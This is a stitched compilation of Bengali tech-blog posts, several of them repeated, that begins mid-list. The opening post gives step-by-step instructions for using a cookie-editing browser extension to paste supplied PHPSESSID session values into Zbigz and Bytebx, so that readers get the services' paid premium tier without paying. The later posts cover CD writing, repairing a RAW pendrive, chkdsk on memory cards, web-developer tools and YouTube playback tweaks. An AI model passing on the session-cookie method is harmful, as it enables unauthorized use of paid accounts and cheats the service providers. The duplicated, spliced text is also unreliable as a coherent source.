৪।Value অপশনে একটি বক্স পাবেন।বক্সে আগে থেকেই হিজিবিজি লেখা থাকে।সব লেখাগুলো মুছে ফেলুন!
৫।ঐ বক্সে directtech9734577237VIP লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৬।আবার ঐ অপশনে যান দেখেন লেখা directtech9734577237VIP আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৭।এখন Zbigz রিলোড দিন দেখবেন Premium is On!
Bytebx এর জন্যঃ
১।bytebx.com/login সাইটে যান!
২।zbigz এর জন্য দেয়া ২,৩,৪ স্টেপগুলো ধারাবাহিকভাবে ফলো করুন!
৩।ঐ বক্সে directtech89992722 লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৪।আবার ঐ অপশনে যান দেখেন লেখা directtech89992722 আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৫।পেইজ রিলোড দেন দেখবেন প্রিমিয়াম হয়ে গেছে!

নোটঃ
*এ অনেক সময় নাও আসতে পারে কিংবা Too much login at a time দেখাতে পারে।চিন্তা করবেন না আবার রিলোড দিন ঠিক হয়ে যাবে!
তারপরও যদি না হয় তাহলে আবার নতুন করে এই সিস্টেমটি ফলো করুন
Zbigz এ কিছু বাগ রয়েছে তাই আমার পরামর্শ Bytebx ব্যাবহার করন।বাগ ফিক্স হলে পোস্টটি আপডেট দিবো।তবে অনেকেরই Zbigz চলছে!!!
Zbigz বাগ ফিক্সডঃ প্রসেস ঠিকমত ফলো করে না হলে পিসি রিস্টার্ট দিয়ে ক্রোম ওপেন করুন!অটোমেটিকেলি হয়ে যাবে!!
প্রমাণঃ

এই পোস্টটি কষ্ট করে পড়ার জন্য ধন্যবাদ!!

টরেন্ট নাম শুনেছেন তো!না শুনলে কেটে পড়ুন!
টরেন্ট ফাইলগুলো ডাউনলোড করতে আলাদা ম্যানেজার লাগে!সেই ম্যানেজারে কোন কিছু ডাউনলোড করতে হলে ডাউনলোডের পাশাপাশি আপলোডও দিতে হয়!যার কারনে ডাউনলোড স্পিড কমে যায় যা খুবই বিরক্তিকর!কিন্তু নতুন মুভি,ফুল সফট সবার আগে টরেন্টেই আপলোড হয়।তাছাড়া অনেক জিনিষই আপনি টরেন্টে পাবেন কিন্তু নরমালি পাবেন না!যেমনঃ ড্রাইবার প্যাক নামের একটা সফটওয়্যার আছে যার সাইজ ৯.৬৭ জিবি এবং এটা অফিশিয়ালি টরেন্টে দেওয়া!এখন আপনি কোনো মানবতাবাদীকে পাবেন না যে এত বড় ফাইল আপনাকে নরমাল সার্ভারে আপলোড করে দিবে!Zbigz/Bytebx এমনই দুইটা সার্ভিস যা টরেন্টকে ডিরেক্ট ফাইলে পরিণত করতে পারে!এতে করে আপনি টরেন্টটিকে আপনার প্রভাইডারের দেয়া ডেডিকেটেড স্পিডে ডাউনলোড করতে পারবেন!
২।Zbigz/Bytebx প্রিমিয়াম আর ফ্রী সার্ভিসের মধ্যে পার্থক্য?
Zbigz.com সাইটে ফ্রীতে মাত্র এক জিবি সাইজের ফাইলকে টরেন্ট টু ডিরেক্ট করতে পারবেন!Bytebx.com এ ও ১ জিবি লিমিট সাথে রেজিস্ট্রেশন ঝামেলা!এর সাথে প্রতি একাউন্টে ও লিমিট এবং স্পিড লিমিট থাকে!
আর প্রিমিয়াম সার্ভিসের স্পীড বা ডাউনলোড কোনো লিমিট নেই!
আর এজন্যই আপনাদের জন্য নিয়ে এলাম Zbigz/Bytebx এর প্রিমিয়াম একাউন্ট!
কিছুদিন আগে রিয়াজ ভাই এরকম দুই-তিনটা সার্ভারের প্রিমিয়াম একাউন্ট পাসওয়ার্ডসহ শেয়ার করেছিলেন!কিছু আবাল বার বার পাসওয়ার্ড চেঞ্জ করতে থাকে!আমি যে সিস্টেমে দিচ্ছি সেটাতে পাসওয়ার্ড চেঞ্জ হয়ার কোন উপায় নেই!তাই প্রথে Zbigz দিয়েই শুরু করিঃ
৩।যা যা লাগবেঃ
*গুগল ক্রোম ব্রাউজার
*ক্রোম ব্রাউজারে একটি এড অন।নামঃ Edit This Cookie
এড অন লিঙ্কঃ https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
#গুগল ক্রোম থেকে উপরোক্ত লিঙ্কে গিয়ে Add to Chrome বাটনে ক্লিক করে Pop Up মেসেজ আসবে Allow তে ক্লিক করে এড অন টি ইন্সটল করুন।
Zbigz এর জন্যঃ
১।Zbigz.com এ যান।
২।ব্রাউজারের টপ বারে বিস্কিটের মতো Edit This Cookie এড অনটির আইকন থাকবে-ক্লিক করুন!
৩।একটা পপ আপ উইন্ডো আসবে সেখানে PHPSESSID নামের একটা অপ্সহন দেখতে পাবেন সেখানে ক্লিক করুন!মেনুটি মেক্সিমাইজ হবে!
৪।Value অপশনে একটি বক্স পাবেন।বক্সে আগে থেকেই হিজিবিজি লেখা থাকে।সব লেখাগুলো মুছে ফেলুন!
৫।ঐ বক্সে directtech9734577237VIP লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৬।আবার ঐ অপশনে যান দেখেন লেখা directtech9734577237VIP আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৭।এখন Zbigz রিলোড দিন দেখবেন Premium is On!
Bytebx এর জন্যঃ
১।bytebx.com/login সাইটে যান!
২।zbigz এর জন্য দেয়া ২,৩,৪ স্টেপগুলো ধারাবাহিকভাবে ফলো করুন!
৩।ঐ বক্সে directtech89992722 লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৪।আবার ঐ অপশনে যান দেখেন লেখা directtech89992722 আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৫।পেইজ রিলোড দেন দেখবেন প্রিমিয়াম হয়ে গেছে!
নোটঃ
*এ অনেক সময় নাও আসতে পারে কিংবা Too much login at a time দেখাতে পারে।চিন্তা করবেন না আবার রিলোড দিন ঠিক হয়ে যাবে!
তারপরও যদি না হয় তাহলে আবার নতুন করে এই সিস্টেমটি ফলো করুন
Zbigz এ কিছু বাগ রয়েছে তাই আমার পরামর্শ Bytebx ব্যাবহার করন।বাগ ফিক্স হলে পোস্টটি আপডেট দিবো।তবে অনেকেরই Zbigz চলছে!!!
Zbigz বাগ ফিক্সডঃ প্রসেস ঠিকমত ফলো করে না হলে পিসি রিস্টার্ট দিয়ে ক্রোম ওপেন করুন!অটোমেটিকেলি হয়ে যাবে!!
প্রমাণঃ
এই পোস্টটি কষ্ট করে পড়ার জন্য ধন্যবাদ!!
আমার টিউনটি একদম নুতুনদের জন্য । এক্সপার্টদের জন্য নয় । এক্সপার্টদের
সকলের মনে হয় জানা আছে । এবার কাজের কথায় আসি । আমরা অনেক সময় আমাদের
দরকারি ফাইল গুলু ব্লাঙ্ক সিডিতে রাইট করে রাখি । একটি ব্লাঙ্ক সিডিতে
প্রায় ৭০০ মেগাবাইট পযন্ত রাইট করা যায় । কিন্তু অনেক সময় কম
মেগাবাইট এর ফাইল সিডিতে রাইট করার প্রয়োজন হয় । তখন আমরা তা সিডিতে রাইট
করি । কিন্তু আমরা অনেকেই জানিনা যে এক সিডিতে একবার রাইট করে ফেললে পরে
আবার একাধিক বার রাইট করা যায় । আসুন প্রক্রিয়াটি দেখি ।

My Computer ওপেন করুন ।

সাধারণত সিডি/ডিভিডি রমটা এই রকম থাকে ।

ব্লাঙ্ক সিডি টা সিডি/ডিভিডি রম এ ঢুকালে উপরের ছবির মতো আসবে । তাহলে বুজবেন যে সিডিটা রম এ পেয়েছে ।


আপনি ইচ্ছা করলে ব্লাঙ্ক সিডিটার ধারন ক্ষমতা, কতটুকু খালি আছে তা উপরের ছবির নিয়ম অনুসারে দেখতে পারবেন ।

ব্লাঙ্ক সিডিতে যা রাইট করতে চান তা কপি করুন ।

তারপর My Computer ওপেন করে সিডি/ডিভিডি রম এ পেস্ট করুন ।

পেস্ট হয়ে গেলে Write these files to CD তে ক্লিক করুন ।

তারপর CD Name: এর ঘরে নিজের ইচ্ছামত নাম লিখে Next এ ক্লিক করুন ।

তারপর রাইট হতে থাকবে । কিছুক্ষন অপেক্ষা করতে হবে ।

কিছুক্ষন পরে উপরের ছবির মতো চার্ট আসলে Finish এ ক্লিক করতে হবে । Finish এ ক্লিক করার পরে সিডি/ডিভিডি রম থেকে সিডিটা নিজে নিজেই বের হয়ে যাবে ।
বাস কাজ শেষ । এই এক নিয়মেই আপনি এক সিডি তে বার বার রাইট করতে পারবেন । এক নিয়মেই আপনি Computer এ সফটওয়্যার ছাড়া সিডি রাইট করতে পারবেন ।
সবাইকে অসংখ ধন্যাবাদ ।।।। ভালো থাকবেন ।।।।
My Computer ওপেন করুন ।
সাধারণত সিডি/ডিভিডি রমটা এই রকম থাকে ।
ব্লাঙ্ক সিডি টা সিডি/ডিভিডি রম এ ঢুকালে উপরের ছবির মতো আসবে । তাহলে বুজবেন যে সিডিটা রম এ পেয়েছে ।
আপনি ইচ্ছা করলে ব্লাঙ্ক সিডিটার ধারন ক্ষমতা, কতটুকু খালি আছে তা উপরের ছবির নিয়ম অনুসারে দেখতে পারবেন ।
ব্লাঙ্ক সিডিতে যা রাইট করতে চান তা কপি করুন ।
তারপর My Computer ওপেন করে সিডি/ডিভিডি রম এ পেস্ট করুন ।
পেস্ট হয়ে গেলে Write these files to CD তে ক্লিক করুন ।
তারপর CD Name: এর ঘরে নিজের ইচ্ছামত নাম লিখে Next এ ক্লিক করুন ।
তারপর রাইট হতে থাকবে । কিছুক্ষন অপেক্ষা করতে হবে ।
কিছুক্ষন পরে উপরের ছবির মতো চার্ট আসলে Finish এ ক্লিক করতে হবে । Finish এ ক্লিক করার পরে সিডি/ডিভিডি রম থেকে সিডিটা নিজে নিজেই বের হয়ে যাবে ।
বাস কাজ শেষ । এই এক নিয়মেই আপনি এক সিডি তে বার বার রাইট করতে পারবেন । এক নিয়মেই আপনি Computer এ সফটওয়্যার ছাড়া সিডি রাইট করতে পারবেন ।
সবাইকে অসংখ ধন্যাবাদ ।।।। ভালো থাকবেন ।।।।
সুপ্রিয় ব্লগারগণ, পেনড্রাইভ আমাদের সবার কাছে কম বেশী নিত্য প্রয়োজনীয় বস্তু। এ কথা বলাই বাহুল্য যে এর কার্যবিধি সম্পর্কে জানে না এমন মানুষ পাওয়াটা দুষ্কর। যাই হোক মূল প্রসঙ্গে আসা যাক।
অনেক সময় দেখা যায় যে, আমাদের ব্যবহৃত পেনড্রাইভ কোন না কারণের জন্য সমস্যা তৈরি করে। যার ফলে অনেক সময় ভোগান্তিতে পরতে হয়। এর ফলে দেখা যায় যে পিসিতে পেনড্রাইভ প্রবেশের পর আপনার পেনড্রাইভে গুরুত্বপূর্ণ ফাইল থাকা সত্ত্বেও পেনড্রাইভ ফরমেট দিতে হচ্ছে। যাক পেনড্রাইভ ফরমেট দিতে গিয়ে দেখেন যে পেনড্রাইভ আর ফরমেট হয় না। অর্থাৎ আপনার পেনড্রাইভটি RAW ফাইল সিস্টেমে পরিণত হয়ে গিয়েছে। যার ফলে পিসিতে প্রবেশ করলে ফরমেট বার্তা তো শো করে কিন্তু ফরমেট দিতে গেলে সেটি ফরমেট হয় না। এমতাবস্থায় কি করণীয় তাই আলোচনা করছি।
যখন আপনার পেনড্রাইভটি পিসিতে প্রবেশ করাবেন তখন দেখবেন যে পেনড্রাইভটিকে যতবারই ফরমেট দেয়ার চেষ্টা করছেন না কেন পেনড্রাইভ কিছুতেই ফরমেট হচ্ছে না। ফলে এই বার্তাটি দেখতে পাবেন।
এখন আপনি যদি Computer>Manage>Disk Management এ গিয়ে পেনড্রাইভ ফরমেট দিতে চান তাহলে আবার এই বার্তা দেখাবে।
এখন এই সমস্যা সমাধানের জন্য আপনাদের একটি ডিস্ক পার্টিশন সফটওয়্যার ডাউনলোড করতে হবে। মাত্র 8.16 MB।
সফটওয়্যারটির নামঃ AOMEI Partition Assistant Standard Edition [Free Edition]
ডাউনলোড লিংকঃ AOMEI Partition Assistant
এখন সফটওয়্যারটি ডাউনলোড করে ইন্সটল করুন এবং ওপেন করুন। ওপেন করার পর দেখবেন আপনার প্রবেশকৃত পেনড্রাইভ ওখানে প্রদর্শন করছে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Delete Partition অপশনটি সিলেক্ট করুন।
Delete Partition অপশনটি সিলেক্ট করার পর এই বক্স টি শো করবে। ঐখান থেকে Delete partition quickly (Recommended) টিকে সিলেক্ট করে OK ক্লিক করুন। এরপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন।
এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
পেনড্রাইভের পার্টিশন ডিলিট প্রসেসিং
পার্টিশন ডিলেট হওয়ার একটি বক্স শো করবে ঐখানে OK তে ক্লিক করুন। পেনড্রাইভের পার্টিশন ডিলেট হওয়ার পর ফাইল সিস্টেম Unallocated শো করবে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Create Partition টি সিলেক্ট করুন।
Create Partition টি সিলেক্ট করার পর একটি বক্স শো করবে। ঐখানে থেকে শুধু OK তে ক্লিক করুন। অতঃপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন। এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
পেনড্রাইভের পার্টিশন ক্রিয়েট প্রসেসিং
পার্টিশন করা শেষ হলে সফল ভাবে সম্পন্ন হয়েছে এরূপ একটি বক্স শো করবে ঐখানে OK ক্লিক করুন।
অতঃপর Computer প্রবেশ করে Devices With Removable Storage এ দেখুন আপনার পেনড্রাইভ শো করছে।
এই দেখুন এই কাজ করার পর এখন আপনি সরাসরি আপনার পেনড্রাইভকে ফরমেট দিতে পারবেন।
এখন থেকে যদি পেনড্রাইভ RAW ফাইল সিস্টেমে পরিণত হয় তবে এই ভাবে এর সমাধান করতে পারবেন।
তথ্য আদান প্রদান করার সময় ফোনের মেমোরি কার্ড হঠাৎ.খুলে নেওয়া হলে বা
কোনো ভাবে সংযোগ বিছিন্ন হলে সেটি ক্ষতিগ্রস্ত হয়ে অকেজো হতে পারে।
নানাভাবে এমন অকেজো মেমোরি কার্ড সচল করা গেলেও সম্পূর্ণভাবে ক্ষতিগ্রস্ত
এবং বাহ্যিকভাবে নষ্ট প্রায় কার্ডকে ঠিক করতে ডেটা রিকভারি সফটওয়্যার
ব্যবহার করতে হবে। মেমোরি কার্ডের তথ্য দেখা যাচ্ছে, কিন্তু সেটি ব্যবহার
করা না গেলে আপনাকে এই সফটওয়্যার সমাধান দিতে পারে। এ ক্ষেত্রে ডেটা
উপস্থিত থাকে কিন্তু কম্পিউটার বা অন্য যন্ত্র সেটিকে পড়তে (রিড) পারে না।
এক্ষেত্রে সবাই ভাবে যে মেমোরি কার্ডটি বোধহয় নষ্ট হয়ে গেছে। কিন্তু না, এমন অবস্থা থেকে আমরা মেমোরি কার্ডটাকে ফিরিয়ে আনতে পারি।
এ জন্য কার্ড রিডারে মেমোরি কার্ড ঢুকিয়ে নিয়ে কম্পিউটারে সংযোগ দিন। খেয়াল রাখুন, মেমোরি কার্ড ফাইল এক্সপ্লোরারে বা হার্ড ড্রাইভের অন্যান্য ডিস্কের মতো দেখালে এটিতে প্রবেশ করা যাবে না, কিন্তু ফাইল সিস্টেম ঠিক আছে। এবার য়াপনার উইন্ডোজ এর স্টার্ট মেন্যুতে গিয়ে cmd লিখুন। এতে আপনার স্টার্ট মেন্যুর উপর দিকে কমান্ড প্রম্পট(cmd) দেখা যাবে। এখন এর ওপর ডান বোতাম চেপে Run as administrator নির্বাচন করে সেটি খুলুন। কমান্ড
প্রম্পট চালু হলে এখানে chkdsk mr লিখে enter ক্লিক করুন। এখানে m হচ্ছে মেমোরি কার্ডের ড্রাইভ ।
কম্পিউটারে কার্ডের ড্রাইভ লেটার যে টি দেখাবে সেটি এখানে লিখে চেক ডিস্কের কাজটি সম্পন্ন হতে দিন।
এখানে convert lost chains to files বার্তা এলে y চাপুন। এ ক্ষেত্রে ফাইল কাঠামো ঠিক থাকলে কার্ডের তথ্য আবার ব্যবহার করা যাবে। মেমোরি কার্ড যদি invalid file system দেখায় তাহলে সেটির ড্রাইভের ডান ক্লিক করে Format-এ ক্লিক করুন। File system থেকে FAT নির্বাচন করে Quick format-এর টিক চিহ্ন তুলে দিয়ে Format-এ ক্লিক করুন। ফরম্যাট সম্পন্ন হলে মেমোরি কার্ডের তথ্য হারালেও কার্ড নষ্ট হবে না।
এক্ষেত্রে সবাই ভাবে যে মেমোরি কার্ডটি বোধহয় নষ্ট হয়ে গেছে। কিন্তু না, এমন অবস্থা থেকে আমরা মেমোরি কার্ডটাকে ফিরিয়ে আনতে পারি।
এ জন্য কার্ড রিডারে মেমোরি কার্ড ঢুকিয়ে নিয়ে কম্পিউটারে সংযোগ দিন। খেয়াল রাখুন, মেমোরি কার্ড ফাইল এক্সপ্লোরারে বা হার্ড ড্রাইভের অন্যান্য ডিস্কের মতো দেখালে এটিতে প্রবেশ করা যাবে না, কিন্তু ফাইল সিস্টেম ঠিক আছে। এবার য়াপনার উইন্ডোজ এর স্টার্ট মেন্যুতে গিয়ে cmd লিখুন। এতে আপনার স্টার্ট মেন্যুর উপর দিকে কমান্ড প্রম্পট(cmd) দেখা যাবে। এখন এর ওপর ডান বোতাম চেপে Run as administrator নির্বাচন করে সেটি খুলুন। কমান্ড
প্রম্পট চালু হলে এখানে chkdsk mr লিখে enter ক্লিক করুন। এখানে m হচ্ছে মেমোরি কার্ডের ড্রাইভ ।
কম্পিউটারে কার্ডের ড্রাইভ লেটার যে টি দেখাবে সেটি এখানে লিখে চেক ডিস্কের কাজটি সম্পন্ন হতে দিন।
এখানে convert lost chains to files বার্তা এলে y চাপুন। এ ক্ষেত্রে ফাইল কাঠামো ঠিক থাকলে কার্ডের তথ্য আবার ব্যবহার করা যাবে। মেমোরি কার্ড যদি invalid file system দেখায় তাহলে সেটির ড্রাইভের ডান ক্লিক করে Format-এ ক্লিক করুন। File system থেকে FAT নির্বাচন করে Quick format-এর টিক চিহ্ন তুলে দিয়ে Format-এ ক্লিক করুন। ফরম্যাট সম্পন্ন হলে মেমোরি কার্ডের তথ্য হারালেও কার্ড নষ্ট হবে না।
ওয়েব ডেভেলোপারদের কাজের সহযোগিতার জন্য অনলাইনে
অনেক Tools বিদ্যমান তবে কিছু অসাধারণ Tools আছে যা নবীন প্রবীণ সকল
ডেভেলোপারদের সারাজীবন কাজে লাগে । Tools গুলো সংগ্রহ করুন এবং কাজ করুন
সহজে…
1. Firebug : Firebug হল Mozilla Firefox এর একটি extension যাতে রয়েছে ওয়েব ডেভেলোপমেন্ট কাজের জন্য অনেক সুবিধা । এতে রয়েছে built-in JavaScript debugger যা ডেভেলোপারদেরকে ধাপে ধাপে script লিখা এবং লিখিত script গুলোর ভুল ধরিয়ে দেয় ।
http://getfirebug.com
2. Internet Explorer Developer Toolbar : Internet Explorer Developer Tool হল Firebug এর মতই Internet Explorer এর একটি Add-ons যা internet explorer এ site এর লিখতে সাহায্য করে । বিশেষ করে যে সকল ডেভেলোপার Safari বা Firefox ব্যাবহার করেন তাদের Cross-compatibility সমস্যা সমাধানে Internet Explorer Developer একটি গুরুত্বপুর্ন Toolbar।
http://www.microsoft.com/en-us/download/default.aspx
3. Pixie : Pixie হচ্ছে এমন একটা Software যে আপনাকে একটা Color এর HEX, HTML, RGB, CMYK, HSV এর কোড গুলো দেখাবে। http://www.nattyware.com/pixie.php
4. CSSTidy : CSSTidy হল একটি opensourse application CSS কোড কে optimize করে এবং ফাইল সাইজ বহুলাংশে কমিয়ে দেয় ফলশ্রুতিতে website এর স্পীড বৃদ্ধি পায় । CSSTidy কিভাবে কাজ করে তা বুঝার জন্য “before and after” উদাহরণ ভালভাবে দেখতে পারেন । http://csstidy.sourceforge.net/index.php
5. GrepWin : GrepWin এর কাজ হচ্ছে! ধরুন বায়ার আপনাকে 5000 HTML ফাইল দিল এবং বলল যে যেখানে যেখানে Good লেখা আছে সেইস্থানে Better লেখতে হবে। ঠিক এই কাজটা করার জন্য ব্যবহার করা হয় GrepWin। ttp://code.google.com/p/grepwin/downloads/list
6. LastPass : LastPass এমন একটা সাইট যে সাইট আপনার পাসওয়ার্ড গুলো সংরক্ষণ করে রাখবে এবং ১০০% নিরাপত্তা সহকারে। https://lastpass.com/
7. Intuitive Color Picker : পছন্দ মত কালার নির্বাচন করার ক্ষেত্রে এটি একটি ভাল টুলস। মাউস মুভ করে কালার hue এবং lightness ঠিক করে আপনি আপনার পছন্দের কালার ওয়েবসাইট এ ব্যাবহার করতে পারেন। http://color.hailpixel.com/
8. Everything : Everything হচ্ছে একটা ছোট Software কিন্তু এর কাজটা ছোট না। আমরা অনেকেই Windows XP, Windows 7, Windows 8 এর Search Engine এর সাথে পরিচিত আছি। আমরা এই Search Engine গুলো ব্যবহার করি কম্পিউটারের ফাইল গুলো খোজার জন্য? Everything এমন একটা Software যার মাধ্যমে আমরা আমাদের কম্পিউটারের যে কোন ফাইল সর্বচ্চ ৩০সেকেন্ড এর ভিতর খুজে পেতে সাহাজ্য করবে।http://www.voidtools.com/
9. Generate WP : GenerateWP এর মাধ্যমে আমার যারা WordPress Themes বানানোর চেষ্টা করছি এবং চেষ্টা করি তাদের জন্য GenerateWP একটা অসাধারণ সাইট। http://generatewp.com/
10. Pure : Responsive Web Design এর জন্য এটি একটা খুব ভাল সাইট। http://purecss.io/
11. TinyPNG : এটি একটি অনেক স্মার্ট টুলস যা ইমেজ সাইজ কমানোর জন্য লাগে। টুলস টি png ফাইল ৭০% পর্যন্ত কমিয়ে ফেলতে পারে । আর আমি বিশ্বাস করি আপনি দুই ইমেজ এর মধ্যে কোন পার্থক্য পাবেন না । http://tinypng.org/
12. Icon : Icon নাম দেখে বুঝতে পারছেন যে এই সাইটটি কি কাজে ব্যবহার করা হয়। http://findicons.com/
13. DOMTool : DOM একটি অসাধারণ tool যা ডেভেলোপারদের অনেক সময় বাচিয়ে দেয় । DOM HTML আকারে ইনপুট নেয় এবং সঠিক output প্রদান করে । http://muffinresearch.co.uk/archives/200…8/domtool/
14. Bootstrap : Twitter bootstrap হল একটি অসাধারণ টুলস যা দ্বারা আপনি এক ঘণ্টার মধ্যে অবিশ্বাস্য responsive website তৈরি করতে পারবেন। Twitter bootstrap সবচেয়ে বড় সুবিধা হল এখানে আপনি প্রচুর উদাহরণ পাবেন যা আপনাকে ওয়েবসাইট তৈরিতে দারুন সহযোগিতা করবে। http://twitter.github.io/bootstrap/
1. Firebug : Firebug হল Mozilla Firefox এর একটি extension যাতে রয়েছে ওয়েব ডেভেলোপমেন্ট কাজের জন্য অনেক সুবিধা । এতে রয়েছে built-in JavaScript debugger যা ডেভেলোপারদেরকে ধাপে ধাপে script লিখা এবং লিখিত script গুলোর ভুল ধরিয়ে দেয় ।
http://getfirebug.com
2. Internet Explorer Developer Toolbar : Internet Explorer Developer Tool হল Firebug এর মতই Internet Explorer এর একটি Add-ons যা internet explorer এ site এর লিখতে সাহায্য করে । বিশেষ করে যে সকল ডেভেলোপার Safari বা Firefox ব্যাবহার করেন তাদের Cross-compatibility সমস্যা সমাধানে Internet Explorer Developer একটি গুরুত্বপুর্ন Toolbar।
http://www.microsoft.com/en-us/download/default.aspx
3. Pixie : Pixie হচ্ছে এমন একটা Software যে আপনাকে একটা Color এর HEX, HTML, RGB, CMYK, HSV এর কোড গুলো দেখাবে। http://www.nattyware.com/pixie.php
4. CSSTidy : CSSTidy হল একটি opensourse application CSS কোড কে optimize করে এবং ফাইল সাইজ বহুলাংশে কমিয়ে দেয় ফলশ্রুতিতে website এর স্পীড বৃদ্ধি পায় । CSSTidy কিভাবে কাজ করে তা বুঝার জন্য “before and after” উদাহরণ ভালভাবে দেখতে পারেন । http://csstidy.sourceforge.net/index.php
5. GrepWin : GrepWin এর কাজ হচ্ছে! ধরুন বায়ার আপনাকে 5000 HTML ফাইল দিল এবং বলল যে যেখানে যেখানে Good লেখা আছে সেইস্থানে Better লেখতে হবে। ঠিক এই কাজটা করার জন্য ব্যবহার করা হয় GrepWin। ttp://code.google.com/p/grepwin/downloads/list
6. LastPass : LastPass এমন একটা সাইট যে সাইট আপনার পাসওয়ার্ড গুলো সংরক্ষণ করে রাখবে এবং ১০০% নিরাপত্তা সহকারে। https://lastpass.com/
7. Intuitive Color Picker : পছন্দ মত কালার নির্বাচন করার ক্ষেত্রে এটি একটি ভাল টুলস। মাউস মুভ করে কালার hue এবং lightness ঠিক করে আপনি আপনার পছন্দের কালার ওয়েবসাইট এ ব্যাবহার করতে পারেন। http://color.hailpixel.com/
8. Everything : Everything হচ্ছে একটা ছোট Software কিন্তু এর কাজটা ছোট না। আমরা অনেকেই Windows XP, Windows 7, Windows 8 এর Search Engine এর সাথে পরিচিত আছি। আমরা এই Search Engine গুলো ব্যবহার করি কম্পিউটারের ফাইল গুলো খোজার জন্য? Everything এমন একটা Software যার মাধ্যমে আমরা আমাদের কম্পিউটারের যে কোন ফাইল সর্বচ্চ ৩০সেকেন্ড এর ভিতর খুজে পেতে সাহাজ্য করবে।http://www.voidtools.com/
9. Generate WP : GenerateWP এর মাধ্যমে আমার যারা WordPress Themes বানানোর চেষ্টা করছি এবং চেষ্টা করি তাদের জন্য GenerateWP একটা অসাধারণ সাইট। http://generatewp.com/
10. Pure : Responsive Web Design এর জন্য এটি একটা খুব ভাল সাইট। http://purecss.io/
11. TinyPNG : এটি একটি অনেক স্মার্ট টুলস যা ইমেজ সাইজ কমানোর জন্য লাগে। টুলস টি png ফাইল ৭০% পর্যন্ত কমিয়ে ফেলতে পারে । আর আমি বিশ্বাস করি আপনি দুই ইমেজ এর মধ্যে কোন পার্থক্য পাবেন না । http://tinypng.org/
12. Icon : Icon নাম দেখে বুঝতে পারছেন যে এই সাইটটি কি কাজে ব্যবহার করা হয়। http://findicons.com/
13. DOMTool : DOM একটি অসাধারণ tool যা ডেভেলোপারদের অনেক সময় বাচিয়ে দেয় । DOM HTML আকারে ইনপুট নেয় এবং সঠিক output প্রদান করে । http://muffinresearch.co.uk/archives/200…8/domtool/
14. Bootstrap : Twitter bootstrap হল একটি অসাধারণ টুলস যা দ্বারা আপনি এক ঘণ্টার মধ্যে অবিশ্বাস্য responsive website তৈরি করতে পারবেন। Twitter bootstrap সবচেয়ে বড় সুবিধা হল এখানে আপনি প্রচুর উদাহরণ পাবেন যা আপনাকে ওয়েবসাইট তৈরিতে দারুন সহযোগিতা করবে। http://twitter.github.io/bootstrap/
আসলে আমাদের বাংলাদেশে ইন্টারনেট এর যে স্পীড তাতে করে ইউটিউব এর ভিডিও দেখা সম্ভব হয় না
তাই আমাই আজকে আপনাকে যে ট্রিক টি দেব তাতে করে আপনি অনায়াসেই ইউটিউব এর ভিডিও দেখতে পারবেন
যা যা প্রয়োজন
https://www.youtube.com/html5
নিচের ছবির মত করুন

request the HTML5 player এ ক্লিক করুন
নিচের ছবির মত করুন

use the deafult player এ ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন
আরও একটি ট্রিক আছে
আপনার ব্রাউজার থেকে নিচের লিঙ্ক টি ভিসিট করুন
http://www.youtube/feather-beta
Join the Feather Beta তে ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন।
তাই আমাই আজকে আপনাকে যে ট্রিক টি দেব তাতে করে আপনি অনায়াসেই ইউটিউব এর ভিডিও দেখতে পারবেন
যা যা প্রয়োজন
- লেটেস্ট flash player -যাদের নেই তারা নিচের লিঙ্ক থেকে ডাউনলোড করুন।
- ---- ডাউনলোড
https://www.youtube.com/html5
নিচের ছবির মত করুন
request the HTML5 player এ ক্লিক করুন
নিচের ছবির মত করুন
use the deafult player এ ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন
আরও একটি ট্রিক আছে
আপনার ব্রাউজার থেকে নিচের লিঙ্ক টি ভিসিট করুন
http://www.youtube/feather-beta
Join the Feather Beta তে ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন।
হাই !!! সবাই কেমন আছেন? আসাকরি সবাই অনেক ভালো আছেন, সুস্থ আছেন। সবসময়
ভালো থাকেন, সুস্থ থাকেন, শিখতে থাকেন এই কামনা নিয়ে শুরু করছি । মানুষ
মাত্রই ভুল, তাই আমারও ছোট-খাটো ও বড় ধরনের ভুল হতে পারে। ভুল গুলো ধরিয়ে
দিয়ে সাহায্য করবেন।
আজ আমি আপনাদের কম্পিউটার এর "command Prompt" এই কিছু দরকারি কমান্ড দিব। আপনারা অনেকই হয়তো যানেন, আবার অনেক এ হয়েত যানেন না। যারা যানেন না এই পোস্ট তাদের জন্য।
কম্পিউটার এর দ্রুত চালনা করার জন্য আপনি এই অপশন টি ব্যাবহার করতে পারেন।
